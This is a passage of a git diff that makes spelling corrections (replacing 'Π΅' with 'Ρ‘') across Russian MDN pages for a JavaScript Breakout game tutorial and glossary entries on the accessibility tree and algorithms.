<p>ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ <code>paddleX</code> Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ 0 Π½Π° Π»Π΅Π²ΠΎΠΉ сторонС холста ΠΈ <code>canvas.width-paddleWidth</code> Π½Π° ΠΏΡ€Π°Π²ΠΎΠΉ сторонС.Β Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ.</p>
-<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>draw()</code>Β Π² самый ΠΊΠΎΠ½Π΅Ρ†, Ρ‡ΡƒΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π½ΠΎΠΉ скобки.</p>
+<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>draw()</code>Β Π² самый ΠΊΠΎΠ½Π΅Ρ†, Ρ‡ΡƒΡ‚ΡŒ Π²Ρ‹ΡˆΠ΅ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ„ΠΈΠ³ΡƒΡ€Π½ΠΎΠΉ скобки.</p>
<p>ЕдинствСнноС, Ρ‡Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сСйчас, это Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>drawPaddle()</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>draw()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΡƒ Π½Π° экранС. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π²Π½ΡƒΡ‚Ρ€ΡŒΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>draw()</code>, Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ строки, которая Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>drawBall()</code>:</p>
@@ -114,11 +114,11 @@ else if(leftPressed &amp;&amp; paddleX &gt; 0) {
<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","320")}}</p>
<div class="note">
-<p><span style="font-size: 14px;"><strong>Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅</strong></span>: Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ двиТСния Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ быстрСС ΠΈΠ»ΠΈ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€.</p>
+<p><span style="font-size: 14px;"><strong>Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅</strong></span>: Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ двиТСния Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΈ быстрСС ΠΈΠ»ΠΈ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅, ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Ρ‘ Ρ€Π°Π·ΠΌΠ΅Ρ€.</p>
</div>
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ_шаг">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° ΠΈΠ³Ρ€Ρƒ. Π‘Π΅Π΄Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ лишь бСсконСчно Π±ΠΈΡ‚ΡŒ мяч Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΎΠΉ. Π­Ρ‚ΠΎ всС измСнится Π² пятой Π³Π»Π°Π²Π΅, <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Game_over">Game over</a>, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒΒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС для нашСй ΠΈΠ³Ρ€Ρ‹.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° ΠΈΠ³Ρ€Ρƒ. Π‘Π΅Π΄Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ лишь бСсконСчно Π±ΠΈΡ‚ΡŒ мяч Ρ€Π°ΠΊΠ΅Ρ‚ΠΊΠΎΠΉ. Π­Ρ‚ΠΎ всС измСнится Π² пятой Π³Π»Π°Π²Π΅, <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Game_over">Game over</a>, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒΒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС для нашСй ΠΈΠ³Ρ€Ρ‹.</p>
<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}</p>
diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
index f9993a8b31..cef5f1e065 100644
--- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
+++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html
@@ -1,12 +1,12 @@
---
-title: Π‘Ρ‡Π΅Ρ‚ ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Ρˆ
+title: Π‘Ρ‡Ρ‘Ρ‚ ΠΈ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Ρˆ
slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
tags:
- JavaScript
- Π˜Π³Ρ€Ρ‹
- ΠΠ°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉ
- Π£Ρ‡Π΅Π±Π½ΠΈΠΊ
- - счСт
+ - счёт
translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
---
<div>{{GamesSidebar}}</div>
@@ -19,9 +19,9 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score
<p>Π­Ρ‚ΠΎ 8ΠΉ шаг ΠΈΠ· 10 Π²Β <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ исходный ΠΊΠΎΠ΄ для этого ΡƒΡ€ΠΎΠΊΠ° ΠΏΠΎ ссылкС <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html">Gamedev-Canvas-workshop/lesson8.html</a>.</p>
</div>
-<p><span class="seoSummary">Π£Π½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ классно, Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΈΠ³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΈΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ ΠΎΡ‡ΠΊΠΈ Π·Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ ΠΈΠ³Ρ€ΠΎΠΊ, ΠΈ ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠΉ Π±Π°Π»Π».</span></p>
+<p><span class="seoSummary">Π£Π½ΠΈΡ‡Ρ‚ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π΅ΠΉ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ классно, Π½ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΈΠ³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΈΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ ΠΎΡ‡ΠΊΠΈ Π·Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΈΡ€ΠΏΠΈΡ‡, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ ΠΈΠ³Ρ€ΠΎΠΊ, ΠΈ ΠΏΠΎΠ΄ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠ±Ρ‰ΠΈΠΉ Π±Π°Π»Π».</span></p>
-<h2 id="ΠŸΠΎΠ΄ΡΡ‡Π΅Ρ‚_ΠΎΡ‡ΠΊΠΎΠ²">ΠŸΠΎΠ΄ΡΡ‡Π΅Ρ‚ ΠΎΡ‡ΠΊΠΎΠ²</h2>
+<h2 id="ΠŸΠΎΠ΄ΡΡ‡Ρ‘Ρ‚_ΠΎΡ‡ΠΊΠΎΠ²">ΠŸΠΎΠ΄ΡΡ‡Ρ‘Ρ‚ ΠΎΡ‡ΠΊΠΎΠ²</h2>
<p>Если Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ свои очки на протяТСнии всСй ΠΈΠ³Ρ€Ρ‹, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ произвСсти Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅ Π½Π° своих Π΄Ρ€ΡƒΠ·Π΅ΠΉ. Π’Π°ΠΌ Π½ΡƒΠΆΠ½Π° пСрСмСнная для записи ΠΎΡ‡ΠΊΠΎΠ². Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² свой JavaScript, послС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
@@ -35,7 +35,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score
ctx.fillText("Score: "+score, 8, 20);
}</pre>
-<p>РисованиС тСкста Π½Π° ΠΊΠ°Π½Π²Π΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ€ΠΈΡΠΎΠ²Π°Π½ΠΈΡŽ Ρ„ΠΈΠ³ΡƒΡ€. ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° выглядит Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² CSS - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Ρ‚ΠΈΠΏ ΡˆΡ€ΠΈΡ„Ρ‚Π° Π² {{domxref("CanvasRenderingContext2D.font","font()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅. Π—Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки Ρ†Π²Π΅Ρ‚Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΒ  {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактичСского тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π½Π° ΠΊΠ°Π½Π²Ρƒ, ΠΈ Π³Π΄Π΅ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ являСтся сам тСкст - ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ количСство Ρ‚ΠΎΡ‡Π΅ΠΊ, Π° Π΄Π²Π° послСдних ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° - это ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π½Π° ΠΊΠ°Π½Π²Ρƒ.</p>
+<p>РисованиС тСкста Π½Π° ΠΊΠ°Π½Π²Π΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ€ΠΈΡΠΎΠ²Π°Π½ΠΈΡŽ Ρ„ΠΈΠ³ΡƒΡ€. ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π° выглядит Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π² CSS - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ Ρ‚ΠΈΠΏ ΡˆΡ€ΠΈΡ„Ρ‚Π° Π² {{domxref("CanvasRenderingContext2D.font","font()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅. Π—Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки Ρ†Π²Π΅Ρ‚Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΒ  {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактичСского тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° ΠΊΠ°Π½Π²Ρƒ, ΠΈ Π³Π΄Π΅ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ являСтся сам тСкст - ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ количСство Ρ‚ΠΎΡ‡Π΅ΠΊ, Π° Π΄Π²Π° послСдних ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° - это ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° ΠΊΠ°Π½Π²Ρƒ.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ Π±Π°Π»Π»Ρ‹ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ ΡƒΠ΄Π°Ρ€Π΅ ΠΊΠΈΡ€ΠΏΠΈΡ‡Π°, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ строку Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>collisionDetection()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΎΡ†Π΅Π½ΠΊΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠΈ столкновСния. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ строку:</p>
@@ -54,7 +54,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score
}
}</pre>
-<p>Π’Ρ‹Π·ΠΎΠ² <code>drawScore()</code>ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>draw()</code> позволяСт ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ счСт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠΎΠΌ - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>draw()</code>, Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ²Π° <code>drawPaddle()</code>:</p>
+<p>Π’Ρ‹Π·ΠΎΠ² <code>drawScore()</code>ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>draw()</code> позволяСт ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ счёт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ Ρ„Ρ€Π΅ΠΉΠΌΠΎΠΌ - Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>draw()</code>, Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ²Π° <code>drawPaddle()</code>:</p>
<pre class="brush: js">drawScore();</pre>
diff --git a/files/ru/glossary/accessibility_tree/index.html b/files/ru/glossary/accessibility_tree/index.html
index 7c91fe5077..bf33c08032 100644
--- a/files/ru/glossary/accessibility_tree/index.html
+++ b/files/ru/glossary/accessibility_tree/index.html
@@ -15,13 +15,13 @@ translation_of: Glossary/Accessibility_tree
<dl>
<dt><strong>name</strong></dt>
- <dd>Как ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΌΡƒ? НапримСр, ссылка с тСкстом "ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅" Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ <strong>name </strong>"ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅" (большС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈΠΌΠ΅Π½Π° Π² <a href="https://www.w3.org/TR/accname-1.1/">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ВычислСния Доступных ИмСн ΠΈ Описаний</a>).</dd>
+ <dd>Как ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½Π΅ΠΌΡƒ? НапримСр, ссылка с тСкстом "ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅" Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ <strong>name </strong>"ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅" (большС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈΠΌΠ΅Π½Π° Π² <a href="https://www.w3.org/TR/accname-1.1/">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ВычислСния Доступных Π˜ΠΌΡ‘Π½ ΠΈ Описаний</a>).</dd>
<dt><strong>description</strong></dt>
<dd>Как ΠΌΡ‹ описываСм  элСмСнт, Ссли Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊ <strong>name</strong>? ОписаниС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° информация, хранящаяся Π² Π½Π΅ΠΉ.</dd>
<dt><strong>role</strong></dt>
<dd>Π§Ρ‚ΠΎ это? НапримСр, это ΠΊΠ½ΠΎΠΏΠΊΠ°, мСню-навигация ΠΈΠ»ΠΈ список ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ²?</dd>
<dt><strong>state</strong></dt>
- <dd>Π˜ΠΌΠ΅Π΅Ρ‚ Π»ΠΈ это структуру? ΠžΠ±Π΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ "ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅/Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅" для Ρ„Π»Π°ΠΆΠΊΠΎΠ², ΠΈΠ»ΠΈ "свСрнутоС/Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚ΠΎΠ΅" для элСмСнта <a href="/en-US/docs/https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/summary">&lt;summary&gt;</a>.</dd>
+ <dd>Π˜ΠΌΠ΅Π΅Ρ‚ Π»ΠΈ это структуру? ΠžΠ±Π΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ "ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅/Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Π΅" для Ρ„Π»Π°ΠΆΠΊΠΎΠ², ΠΈΠ»ΠΈ "свёрнутоС/Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠ΅" для элСмСнта <a href="/en-US/docs/https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/summary">&lt;summary&gt;</a>.</dd>
</dl>
<p>ΠšΡ€ΠΎΠΌΠ΅ этого, Π΄Π΅Ρ€Π΅Π²ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй часто содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с элСмСнтом: ссылку ΠΌΠΎΠΆΠ½ΠΎΒ  <em>ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ, </em>тСкстовый Π²Π²ΠΎΠ΄ - <em>Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ</em> ΠΈ Ρ‚.Π΄.<em> </em></p>
diff --git a/files/ru/glossary/algorithm/index.html b/files/ru/glossary/algorithm/index.html
index 61cd5b1a56..502a76b84b 100644
--- a/files/ru/glossary/algorithm/index.html
+++ b/files/ru/glossary/algorithm/index.html
@@ -10,7 +10,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Algorithm
---
<p><span class="seoSummary">Алгоритм - это нСзависимая сСрия инструкций для выполнСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</span></p>
